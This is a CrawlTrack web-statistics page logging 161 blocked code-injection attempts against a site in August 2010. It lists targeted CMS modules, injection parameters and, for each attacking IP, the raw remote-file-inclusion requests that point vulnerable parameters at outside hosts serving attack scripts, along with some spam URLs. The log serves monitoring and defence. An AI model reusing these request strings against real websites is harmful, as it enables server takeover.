CrawlTrack, le tableau de bord du webmaster.

Attacks

Code injection

Period displayed: August 2010

Code injection

Period displayed: August 2010

Page cached at: 00:16
Login

Number of attacks	Attacks that have given a 404*	IP used
161	1	49

All these attacks have been blocked by CrawlTrack as requested

*These attacks are not taken into account for the number of Ip, the graph and table detail.

You could be at risk if you run one of these scripts :

Advanced Login / AutoStand (Joomla module) / burnCMS / Carousel Flash Image Gallery (Joomla module) / Claroline / Coppermine Photo Gallery component (Mambo module) / CropImage (Mambo module) / DT guestbook / ExtCalendar (Mambo module) / Falcon Series One / FlatMenu (Mambo module) / JoomlaPack (Joomla module) / MOSMedia Lite (Mambo module) / NFN Address Book (Mambo module) / OlBookmarks / Pluck / Portail Web Php / Post Revolution / Rezervi Generic / Shoutbox / Sisplet CMS / Sun Board / SunLight CMS / swMenuFree (Mambo module) / TaskHopper (Joomla module) / Tour De France Pool (Joomla module) / VisoHotlink / WebAvis / zOOm Media Gallery

Parameters used for code injection attempts :

/ controller= / crawler= / dir= / error= / fileOreonConf= / graphpos= / jamroom[jm_dir]= / mosConfig_absolute_path= / root= / site_path= / skin_board_path=

Attacks details (display limited to 30 attackers).
Show all lines

IP used	Attacks	Time	Attacks details
79.244.78.138 Germany	11	30/08/2010 20 hr 23 mn 20 hr 58 mn 21 hr 02 mn 21 hr 12 mn 21 hr 16 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: graphpos= File/script the hacker attempted to inject: http://www.sassinail.com/zb41//icon/a??? Url requested: /crawler/index.php?navig=12&period=0&site=2&crawler=inurl+view+index +shtml&order=2&displayall=yes&graphpos=1//components/com_rsgallery/r sgallery.html.php?mosConfig_absolute_path=http://www.sassinail.com/zb41//icon/a? ?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=12&period=4&site=2&crawler=&order=2&amp ;displayall=yes&graphpos=0//components/com_rsgallery/rsgallery.html.php?mosC onfig_absolute_path=http://www.sassinail.com/zb41//icon/a??? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=100&site=2&crawler=Google-WAP&amp ;graphpos=0//assets/snippets/reflect/snippet.reflect.php?reflect_base=http://www .sassinail.com/zb41//icon/a??? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=2&site=2&crawler=Amfibibot&gr aphpos=0//components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=ht tp://www.sassinail.com/zb41//icon/a??? -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=12&period=2&site=2&crawler=0&ord er=2&displayall=yes&graphpos=0//components/com_rsgallery/rsgallery.html. php?mosConfig_absolute_path=http://www.sassinail.com/zb41//icon/a??? -------------------------------------------------------------------------------------------- /turkishcrawler/index.php?navig=12&period=0&site=2&crawler=0&gra phpos=0//components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=htt p://www.sassinail.com/zb41//icon/a???
66.249.65.99 United States	11	31/08/2010 01 hr 50 mn 05 hr 38 mn 05 hr 41 mn 05 hr 49 mn 05 hr 52 mn 05 hr 55 mn 05 hr 58 mn 06 hr 31 mn 06 hr 46 mn 06 hr 50 mn 06 hr 55 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: crawler= File/script the hacker attempted to inject: http://epweb2.ph.bham.ac.uk/user/slater/camont/info.htm http://www.sexfortv.com/en/all.php?c=130 http://sn124w.snt124.mail.live.com http://onlinefilmek.net/wordpress/ http://sexfortv.com/en/index.php?c=101 http://www.sexfortv.com/en/index.php?c=100 http://www.baidu.com/search/spider.htm http://www.sexfortv.com/es/index.php?c=2 http://www.sexfortv.com/en/index.php?c=140 http://sexfortv.com/en/all.php? Url requested: /crawler/index.php?navig=16&period=0&site=2&crawler=http%3A%2F%2Fepweb2.ph.bham. ac.uk%2Fuser%2Fslater%2Fcamont%2Finfo.htm&graphpos=0 -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=16&period=1&site=2&crawler=http%3A%2F%2Fwww.baid u.com%2Fsearch%2Fspider.htm&graphpos=0 -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=16&period=1003&site=2&crawler=http%3A%2F%2Fonlin efilmek.net%2Fwordpress%2F&graphpos=0 -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=16&period=1003&site=2&crawler=http%3A%2F%2Fsexfo rtv.com%2Fen%2Findex.php%3Fc%3D101&graphpos=0 -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=16&period=1003&site=2&crawler=http%3A%2F%2Fsn124 w.snt124.mail.live.com&graphpos=0 -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=16&period=1003&site=2&crawler=http%3A%2F%2Fwww.s exfortv.com%2Fen%2Fall.php%3Fc%3D130&graphpos=0 -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=16&period=1003&site=2&crawler=http%3A%2F%2Fwww.s exfortv.com%2Fen%2Findex.php%3Fc%3D100&graphpos=0 -------------------------------------------------------------------------------------------- /turkishcrawler/index.php?navig=16&period=1014&site=2&crawler=+http%3A%2F%2Fsexf ortv.com%2Fen%2Fall.php%3F&graphpos=0 -------------------------------------------------------------------------------------------- /turkishcrawler/index.php?navig=16&period=1014&site=2&crawler=+http%3A%2F%2Fwww. sexfortv.com%2Fen%2Findex.php%3Fc%3D140&graphpos=0 -------------------------------------------------------------------------------------------- /turkishcrawler/index.php?navig=16&period=1014&site=2&crawler=http%3A%2F%2Fsexfo rtv.com%2Fen%2Findex.php%3Fc%3D101&graphpos=0 -------------------------------------------------------------------------------------------- /turkishcrawler/index.php?navig=16&period=1014&site=2&crawler=http%3A%2F%2Fwww.s exfortv.com%2Fes%2Findex.php%3Fc%3D2+&graphpos=0
66.249.65.77 United States	11	30/08/2010 18 hr 50 mn 20 hr 28 mn 20 hr 35 mn 20 hr 44 mn 31/08/2010 02 hr 20 mn 02 hr 22 mn 08 hr 57 mn 08 hr 58 mn 09 hr 00 mn 10 hr 04 mn 10 hr 05 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: crawler= File/script the hacker attempted to inject: "http://:@"inurl=3D"viewerframe"mode=3Dmotion http://sexfortv.com http://www.sexfortv.com/en/index.php?c=120 http://www.sexfortv.com/en/index.php?c=140 http://sn120w.snt120.mail.live.com http://www.sexizu.com/ warez http://www.lacentraledesenergies.fr/ http://www.sexfortv.com/en/index.php?c=170 link:http://www.souq.com http://www.sexfortv.com/it/index.php?c=100 link:http://www.cjlog.com/ Url requested: /crawler/index.php?navig=16&period=0&site=2&crawler=%22http%3A%2F%2F%3A%40%22i nurl%3D3D%22viewerframe%22mode%3D3Dmotion&graphpos=0 -------------------------------------------------------------------------------------------- /crawler/index.php?navig=16&period=1003&site=2&crawler=http%3A%2F%2Fsn120w.snt12 0.mail.live.com&graphpos=0 -------------------------------------------------------------------------------------------- /crawler/index.php?navig=16&period=1003&site=2&crawler=http%3A%2F%2Fwww.sexizu.c om%2F+warez&graphpos=0 -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=16&period=1003&site=2&crawler=http%3A%2F%2Fwww.l acentraledesenergies.fr%2F&graphpos=0 -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=16&period=1003&site=2&crawler=http%3A%2F%2Fwww.s exfortv.com%2Fen%2Findex.php%3Fc%3D170&graphpos=0 -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=16&period=1003&site=2&crawler=http%3A%2F%2Fwww.s exfortv.com%2Fit%2Findex.php%3Fc%3D100&graphpos=0 -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=16&period=1003&site=2&crawler=link%3Ahttp%3A%2F% 2Fwww.cjlog.com%2F&graphpos=0 -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=16&period=1003&site=2&crawler=link%3Ahttp%3A%2F% 2Fwww.souq.com&graphpos=0 -------------------------------------------------------------------------------------------- /turkishcrawler/index.php?navig=16&period=1014&site=2&crawler=http%3A%2F%2Fsexfo rtv.com&graphpos=0 -------------------------------------------------------------------------------------------- /turkishcrawler/index.php?navig=16&period=1014&site=2&crawler=http%3A%2F%2Fwww.s exfortv.com%2Fen%2Findex.php%3Fc%3D120&graphpos=0 -------------------------------------------------------------------------------------------- /turkishcrawler/index.php?navig=16&period=1014&site=2&crawler=http%3A%2F%2Fwww.s exfortv.com%2Fen%2Findex.php%3Fc%3D140&graphpos=0
118.129.166.221 Republic of Korea	9	30/08/2010 17 hr 49 mn 19 hr 36 mn 19 hr 37 mn 31/08/2010 03 hr 25 mn	You could be at risk if you run one of these scripts: Portail Web Php Sisplet CMS ? Parameters used for code injection attempts: fileOreonConf= graphpos= site_path= File/script the hacker attempted to inject: http://kwiketa-skwirk.com/images/id1.jpg??? http://kwiketa-skwirk.com/images/bobrok1.jpg??? Url requested: /crawler//include/bbs.lib.inc.php?site_path=http://kwiketa-skwirk.com/images/id1 .jpg??? -------------------------------------------------------------------------------------------- /crawler//include/monitoring/engine/MakeXML4statusCounter.php?fileOreonConf=http ://kwiketa-skwirk.com/images/id1.jpg??? -------------------------------------------------------------------------------------------- /crawler/include/lib.inc.php?site_path=http://kwiketa-skwirk.com/images/bobrok1. jpg??? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=1006&site=2&crawler=0&graphpos=0//include/mon itoring/engine/MakeXML4statusCounter.php?fileOreonConf=http://kwiketa-skwirk.com /images/id1.jpg???
81.208.34.38 Italy	8	30/08/2010 16 hr 23 mn 17 hr 21 mn 17 hr 28 mn 31/08/2010 01 hr 55 mn 02 hr 18 mn 06 hr 42 mn 08 hr 02 mn	You could be at risk if you run one of these scripts: Advanced Login burnCMS OlBookmarks Portail Web Php Rezervi Generic Shoutbox Sisplet CMS SunLight CMS WebAvis ? Parameters used for code injection attempts: graphpos= root= site_path= File/script the hacker attempted to inject: http://www.radiomardom.com//common/metabase/us/id1.txt???? http://kortech.cn/bbs//skin/zero_vote/fx29id1.txt???? http://www.profitnesssupplies.ie/site//components/com_virtuemart/id1.txt??? ? http://samws.com/shop/data/cheditor/0905/id1.txt???? http://www.gepatitu.net/fonts/id1.txt???? Url requested: /crawler//include/admin.lib.inc.php?site_path=http://samws.com/shop/data/chedito r/0905/id1.txt???? -------------------------------------------------------------------------------------------- /crawler//include/bbslib.inc.php?site_path=http://www.radiomardom.com//common/me tabase/us/id1.txt???? -------------------------------------------------------------------------------------------- /crawler//include/mail.inc.php?root=http://www.profitnesssupplies.ie/site//compo nents/com_virtuemart/id1.txt???? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=1000&site=2&crawler=0&graphpo s=0//include/admin.lib.inc.php?site_path=http://samws.com/shop/data/cheditor/090 5/id1.txt???? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=2&site=2&crawler=Elsop&graphp os=0/editsite.php?returnpath=http://kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? ?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=1000&site=2&crawler=0&graphpos=0/editsite.php ?returnpath=http://kortech.cn/bbs//skin/zero_vote/fx29id1.txt???? -------------------------------------------------------------------------------------------- /dutchcrawler/index.php?navig=22&period=0&site=2&crawler=inurl%3Ac99 .php&graphpos=0//main.php?sayfa=http://www.gepatitu.net/fonts/id1.txt???? -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=22&period=1000&site=2&crawler=Bot+Tr acker&graphpos=0//main.php?sayfa=http://www.gepatitu.net/fonts/id1.txt????
187.45.193.226 Brazil	8	31/08/2010 16 hr 43 mn 16 hr 49 mn 17 hr 00 mn 17 hr 14 mn 17 hr 50 mn 21 hr 00 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: graphpos= skin_board_path= File/script the hacker attempted to inject: http://www.enustech.com//technote7/data/inj/sc1?? http://www.enustech.com//technote7/data/in Url requested: /crawler//include/mail.inc.php/?skin_board_path=http://www.enustech.com//technot e7/data/inj/sc1?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=12&period=2&site=2&crawler=0&order=2&am p;displayall=yes&graphpos=0//administrator/components/com_joomla-visites/cor e/include/myMailer.class.php?mosConfig_absolute.path=http://www.enustech.com//te chnote7/data/in -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=1006&site=2&crawler=0&graphpos=0//administrat or/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absol ute.path=http://www.enustech.com//technote7/data/inj/sc1?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=2&site=2&crawler=Elsop&graphp os=0//administrator/components/com_joomla-visites/core/include/myMailer.class.ph p?mosConfig_absolute.path=http://www.enustech.com//technote7/data/inj/sc1??
74.208.144.171 United States	7	30/08/2010 19 hr 00 mn 19 hr 01 mn 19 hr 39 mn 31/08/2010 03 hr 10 mn 03 hr 11 mn	You could be at risk if you run one of these scripts: Claroline Pluck Post Revolution Sun Board ? Parameters used for code injection attempts: dir= graphpos= File/script the hacker attempted to inject: http://webshop.budapestbamako.hu/munyuk/sc1?? Url requested: /crawler//include/write.php?dir=http://webshop.budapestbamako.hu/munyuk/sc1?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=1006&site=2&crawler=0&graphpos=0///administra tor/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_abso lute.path=http://webshop.budapestbamako.hu/munyuk/sc1?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=2&site=2&crawler=QuepasaCreep&amp ;graphpos=0///?IP=http://webshop.budapestbamako.hu/munyuk/sc1?? -------------------------------------------------------------------------------------------- /turkishcrawler//include/write.php?dir=http://webshop.budapestbamako.hu/munyuk/s c1??
94.23.33.61 France	6	30/08/2010 18 hr 26 mn 18 hr 28 mn 23 hr 02 mn 23 hr 05 mn 23 hr 07 mn 23 hr 10 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: graphpos= File/script the hacker attempted to inject: http://117.110.211.68/~gifted//bbs/skin/uks_board_v3010_up10/images/.png/i1 .txt? Url requested: /crawler/index.php?navig=18&period=1006&site=2&crawler=0&graphpo s=0//components/com_jcalpro/cal_popup.php?mosConfig.absolute.path=http://117.110 .211.68/~gifted//bbs/skin/uks_board_v3010_up10/images/.png/i1.txt? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=1006&site=2&crawler=0&graphpos=0//components/ com_jcalpro/cal_popup.php?mosConfig.absolute.path=http://117.110.211.68/~gifted/ /bbs/skin/uks_board_v3010_up10/images/.png/i1.txt?
66.249.65.118 United States	6	30/08/2010 22 hr 23 mn 31/08/2010 00 hr 06 mn 00 hr 08 mn 00 hr 19 mn 01 hr 39 mn 02 hr 11 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: crawler= File/script the hacker attempted to inject: http://forum.freeadultscript_.com/showthread.php?tid=72 http://webtrafficconsultants.net/onlinemarketingtoolkit/ sexfortv all http://www.sexfortv.com/en/all.php?c=100 http://sn120w.snt120.mail.live.com http://www.sexfortv.com/es/index.php?c=101 link:http://www.cjlog.com/ Url requested: /crawler/index.php?navig=16&period=0&site=2&crawler=http%3A%2F%2Fforum.freeadult script_.com%2Fshowthread.php%3Ftid%3D72&graphpos=1 -------------------------------------------------------------------------------------------- /crawler/index.php?navig=16&period=0&site=2&crawler=link%3Ahttp%3A%2F%2Fwww.cjlo g.com%2F&graphpos=0 -------------------------------------------------------------------------------------------- /turkishcrawler/index.php?navig=16&period=1014&site=2&crawler=http%3A%2F%2Fsn120 w.snt120.mail.live.com&graphpos=0 -------------------------------------------------------------------------------------------- /turkishcrawler/index.php?navig=16&period=1014&site=2&crawler=http%3A%2F%2Fwebtr afficconsultants.net%2Fonlinemarketingtoolkit%2F&graphpos=0 -------------------------------------------------------------------------------------------- /turkishcrawler/index.php?navig=16&period=1014&site=2&crawler=sexfortv+all+http% 3A%2F%2Fwww.sexfortv.com%2Fen%2Fall.php%3Fc%3D100&graphpos=0 -------------------------------------------------------------------------------------------- /turkishcrawler/index.php?navig=16&period=1016&site=2&crawler=http%3A%2F%2Fwww.s exfortv.com%2Fes%2Findex.php%3Fc%3D101&graphpos=0
173.236.48.42 Unknown	4	30/08/2010 22 hr 45 mn 22 hr 52 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: graphpos= File/script the hacker attempted to inject: http://www.debianco-lighting.com/fx29id.txt???? Url requested: /crawler/index.php?navig=12&period=0&site=2&crawler=%2Fcrawler%2Find ex.php%3Fnavig%3D16%26period%3D0%26site%3D2%26crawler%3Dsn129w%2Bsnt%2B129%2Bmai l%2Blive%2Bdefault%26graphpos%3D1&graphpos=0//components/com_rsgallery/rsgal lery.html.php?m -------------------------------------------------------------------------------------------- /crawler/index.php?navig=12&period=0&site=2&crawler=%2Fspanishcrawle r%2Findex.php%3Fnavig%3D16%26period%3D0%26site%3D2%26crawler%3Dinurl%2Bview%2Bin dex.shtml%2Bmotel%26graphpos%3D0&graphpos=0//components/com_rsgallery/rsgall ery.html.php?mo -------------------------------------------------------------------------------------------- /crawler/index.php?navig=21&period=0&site=2&crawler=%2Fspanishcrawle r%2Findex.php%3Fnavig%3D16%26period%3D3%26site%3D2%26crawler%3Daxis%2B2130R%2Bin url%253A%252Fview%252Fshtml%26graphpos%3D0&order=2&displayall=yes&gr aphpos=0//phpop -------------------------------------------------------------------------------------------- /crawler/index.php?navig=21&period=0&site=2&crawler=inurl+view+index .shtml&graphpos=0//phpopenchat/contrib/yabbse/poc.php?sourcedir=http://www.d ebianco-lighting.com/fx29id.txt????
72.249.144.20 United States	4	31/08/2010 00 hr 32 mn 00 hr 34 mn 00 hr 35 mn	You could be at risk if you run one of these scripts: Portail Web Php Sisplet CMS ? Parameters used for code injection attempts: graphpos= site_path= File/script the hacker attempted to inject: http://www.tajima-inaka.net/shop/images/main.txt?? Url requested: /crawler//include/lib.inc.php?site_path=http://www.tajima-inaka.net/shop/images/ main.txt?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=1019&site=2&crawler=0&graphpo s=0//include/lib.inc.php?site_path=http://www.tajima-inaka.net/shop/images/main. txt?? -------------------------------------------------------------------------------------------- /germancrawler//include/lib.inc.php?site_path=http://www.tajima-inaka.net/shop/i mages/main.txt?? -------------------------------------------------------------------------------------------- /turkishcrawler//include/lib.inc.php?site_path=http://www.tajima-inaka.net/shop/ images/main.txt??
67.159.26.127 United States	4	31/08/2010 01 hr 46 mn 01 hr 47 mn	You could be at risk if you run one of these scripts: Advanced Login burnCMS OlBookmarks Rezervi Generic Shoutbox SunLight CMS WebAvis ? Parameters used for code injection attempts: graphpos= root= File/script the hacker attempted to inject: http://yeshouse.mk.co.kr/column/auto1.txt??? Url requested: /crawler//include/mail.inc.php?root=http://yeshouse.mk.co.kr/column/auto1.txt??? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=1019&site=2&crawler=0&graphpo s=0//include/mail.inc.php?root=http://yeshouse.mk.co.kr/column/auto1.txt???
222.236.47.182 Republic of Korea	4	31/08/2010 07 hr 01 mn 16 hr 02 mn 19 hr 45 mn	You could be at risk if you run one of these scripts: Portail Web Php Sisplet CMS ? Parameters used for code injection attempts: graphpos= site_path= File/script the hacker attempted to inject: http://phamsight.com/docs/images/head?? http://www.howtolisten.kr/lct/exam3/81/auto1.txt??? Url requested: /crawler/index.php?navig=18&period=1001&site=2&crawler=0&graphpos=0//components/ com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=http://phamsigh t.com/docs/images/head?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=2&site=2&crawler=0&graphpos=0//components/com _serverstat/install.serverstat.php?mosConfig_absolute_path=http://www.howtoliste n.kr/lct/exam3/81/auto1.txt??? -------------------------------------------------------------------------------------------- /dutchcrawler//include/admin.lib.inc.php?site_path=http://phamsight.com/docs/ima ges/head??
212.227.54.140 Germany 81.177.3.14 Russian Federation	4	31/08/2010 16 hr 29 mn 16 hr 30 mn 16 hr 34 mn 16 hr 52 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: graphpos= File/script the hacker attempted to inject: http://www.ulster.irishhome.net/archive/byz9991.txt?? Url requested: /crawler/index.php?navig=22&period=0&site=2&crawler=Cortina&grap hpos=0/administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php ?mosConfig_absolute_path=http://www.ulster.irishhome.net/archive/byz9991.txt?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=2&site=2&crawler=Elsop&graphpos=0/administrat or/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolut e_path=http://www.ulster.irishhome.net/archive/byz9991.txt??
85.214.84.36 Germany 87.193.48.235 Germany	4	31/08/2010 13 hr 01 mn 13 hr 15 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: graphpos= skin_board_path= File/script the hacker attempted to inject: http://www.motosports.lv/mambots/system/cid1.txt?? Url requested: /crawler//include/mail.inc.php?skin_board_path=http://www.motosports.lv/mambots/ system/cid1.txt?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=0&site=2&crawler=0&graphpos=0//include/mail.i nc.php?skin_board_path=http://www.motosports.lv/mambots/system/cid1.txt??
194.44.152.115 Ukraine	4	31/08/2010 12 hr 00 mn 12 hr 11 mn	You could be at risk if you run one of these scripts: Advanced Login burnCMS OlBookmarks Rezervi Generic Shoutbox SunLight CMS WebAvis ? Parameters used for code injection attempts: graphpos= root= File/script the hacker attempted to inject: http://www.didaonline.it/docenti/zfxid1.txt??? Url requested: /crawler//include/mail.inc.php?root=http://www.didaonline.it/docenti/zfxid1.txt? ?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=1019&site=2&crawler=0&graphpo s=0//include/mail.inc.php?root=http://www.didaonline.it/docenti/zfxid1.txt???
209.216.242.123 United States	4	30/08/2010 23 hr 32 mn 31/08/2010 20 hr 16 mn 21 hr 26 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: graphpos= File/script the hacker attempted to inject: http://www.fotobotanica.nl/media/.data/i1.txt?? http://117.110.211.68/~gifted//bbs/skin/uks_board_v3010_up10/images/.png/i1 .txt?? Url requested: /crawler/index.php?navig=18&period=1006&site=2&crawler=0&graphpo s=0//components/com_jcalpro/cal_popup.php?mosConfig.absolute.path=http://117.110 .211.68/~gifted//bbs/skin/uks_board_v3010_up10/images/.png/i1.txt?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=1006&site=2&crawler=0&graphpos=0//components/ com_jcalpro/cal_popup.php?mosConfig.absolute.path=http://117.110.211.68/~gifted/ /bbs/skin/uks_board_v3010_up10/images/.png/i1.txt?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=1006&site=2&crawler=0&graphpos=0//components/ com_jcalpro/cal_popup.php?mosConfig.absolute.path=http://www.fotobotanica.nl/med ia/.data/i1.txt??
184.107.48.144 Unknown 78.38.150.61 Iran	4	30/08/2010 19 hr 48 mn 31/08/2010 11 hr 51 mn 11 hr 52 mn	You could be at risk if you run one of these scripts: DT guestbook Falcon Series One ? Parameters used for code injection attempts: error= graphpos= File/script the hacker attempted to inject: http://www.fileden.com/files/2010/8/29/2955096/expl/fx29id1.txt???? Url requested: /crawler//include/monitoring/engine/errors.php?error=http://www.fileden.com/file s/2010/8/29/2955096/expl/fx29id1.txt???? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=1006&site=2&crawler=0&graphpos=0//include/mon itoring/engine/errors.php?error=http://www.fileden.com/files/2010/8/29/2955096/e xpl/fx29id1.txt???? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=2&site=2&crawler=ArchitextSpider& amp;graphpos=0/admin.php?page=http://www.fileden.com/files/2010/8/29/2955096/exp l/fx29id1.txt???? -------------------------------------------------------------------------------------------- /turkishcrawler//include/monitoring/engine/errors.php?error=http://www.fileden.c om/files/2010/8/29/2955096/expl/fx29id1.txt????
74.53.24.210 United States	4	30/08/2010 15 hr 00 mn 19 hr 36 mn 31/08/2010 23 hr 19 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: graphpos= File/script the hacker attempted to inject: http://fallout3zone.com/files/Ckrid1.txt?? Url requested: /crawler/index.php?navig=22&period=100&site=2&crawler=Google-WAP&amp ;graphpos=0//login.php?dir=http://fallout3zone.com/files/Ckrid1.txt?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=2&site=2&crawler=Elsop&graphp os=0///appserv/main.php?appserv_root=http://fallout3zone.com/files/Ckrid1.txt?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=1&site=2&crawler=0&graphpos=0/bad_link.php?th eme_path=http://fallout3zone.com/files/Ckrid1.txt?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=1000&site=2&crawler=0&graphpos=0/become_edito r.php?theme_path=http://fallout3zone.com/files/Ckrid1.txt??
189.126.109.72 Brazil 93.114.41.85 Romania	3	31/08/2010 14 hr 56 mn 18 hr 06 mn 18 hr 07 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: graphpos= File/script the hacker attempted to inject: http://www.ribarska.com/cgi-bin/article/id1.txt??? Url requested: /crawler/index.php?navig=18&period=1000&site=2&crawler=0&graphpo s=0////wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http ://www.ribarska.com/cgi-bin/article/id1.txt??? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=2&site=2&crawler=Elsop&graphp os=0//appserv/main.php?appserv_root=http://www.ribarska.com/cgi-bin/article/id1. txt???
72.55.165.45 Canada 92.62.196.66 Denmark	3	31/08/2010 17 hr 46 mn 21 hr 53 mn	You could be at risk if you run one of these scripts: Portail Web Php Sisplet CMS ? Parameters used for code injection attempts: graphpos= site_path= File/script the hacker attempted to inject: http://203.252.71.232/~edugraduate/data/file/sub3_1/ckrid1.txt??? Url requested: /crawler//include/admin.lib.inc.php?site_path=http://203.252.71.232/~edugraduate /data/file/sub3_1/ckrid1.txt??? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=0&site=2&crawler=0&graphpos=0//include/admin. lib.inc.php?site_path=http://203.252.71.232/~edugraduate/data/file/sub3_1/ckrid1 .txt??? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=1019&site=2&crawler=0&graphpos=0//components/ com_pccookbook/pccookbook.php?mosConfig_absolute_path=http://203.252.71.232/~edu graduate/data/file/sub3_1/ckrid1.txt???
79.1.76.73 Italy	3	31/08/2010 18 hr 42 mn 21 hr 52 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: graphpos= jamroom[jm_dir]= File/script the hacker attempted to inject: http://127.0.0.1/id.txt? Url requested: /crawler/include/plugins/jrBrowser/purchase.php?jamroom[jm_dir]=http://127.0.0.1 /id.txt? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=18&period=1003&site=2&crawler=0&graphpos=0/include/plug ins/jrBrowser/purchase.php?jamroom[jm_dir]=http://127.0.0.1/id.txt? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=2&site=2&crawler=Amfibibot&gr aphpos=0//administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute _path=http://127.0.0.1/id.txt?
195.16.88.85 Ukraine	3	30/08/2010 16 hr 21 mn 16 hr 24 mn 16 hr 25 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: graphpos= File/script the hacker attempted to inject: http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt??? Url requested: /crawler/index.php?navig=16&period=0&site=2&crawler=allinurl%3A++%22 test_+default+php%22&graphpos=1/default.php?page=http://www.kortech.cn/bbs// skin/zero_vote/fx29id1.txt???
66.249.65.121 United States	3	30/08/2010 23 hr 11 mn 31/08/2010 03 hr 19 mn 03 hr 23 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: crawler= File/script the hacker attempted to inject: http://www.sexfortv.com/en/index.php?c=279 http://www.lacentraledesenergies.fr/ "http://:@"inurl=3D"viewerframe"mode=3Dmotion Url requested: /crawler/index.php?navig=16&period=0&site=2&crawler=http%3A%2F%2Fwww.lacentraled esenergies.fr%2F&graphpos=1 -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=16&period=1&site=2&crawler=%22http%3A%2F%2F%3A %40%22inurl%3D3D%22viewerframe%22mode%3D3Dmotion&graphpos=0 -------------------------------------------------------------------------------------------- /turkishcrawler/index.php?navig=16&period=1014&site=2&crawler=http%3A%2F%2Fwww.s exfortv.com%2Fen%2Findex.php%3Fc%3D279&graphpos=0
94.124.120.67 Netherlands	2	30/08/2010 14 hr 02 mn 14 hr 03 mn	You could be at risk if you run one of these scripts: AutoStand (Joomla module) Carousel Flash Image Gallery (Joomla module) Coppermine Photo Gallery component (Mambo module) CropImage (Mambo module) ExtCalendar (Mambo module) FlatMenu (Mambo module) JoomlaPack (Joomla module) MOSMedia Lite (Mambo module) NFN Address Book (Mambo module) swMenuFree (Mambo module) TaskHopper (Joomla module) Tour De France Pool (Joomla module) VisoHotlink zOOm Media Gallery ? Parameters used for code injection attempts: graphpos= mosConfig_absolute_path= File/script the hacker attempted to inject: http://carolinegrijsen.com/yle/Ckrid1.txt?? Url requested: /crawler/index.php?navig=22&period=2&site=2&crawler=QuepasaCreep&amp ;graphpos=0/index.php?option=com_frontpage&Itemid=&mosConfig_absolute_path=http: //carolinegrijsen.com/yle/Ckrid1.txt?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=2&site=2&crawler=QuepasaCreep&graphpos=0/inde x.php?option=com_frontpage&Itemid=&mosConfig_absolute_path=http://carolinegrijse n.com/yle/Ckrid1.txt??
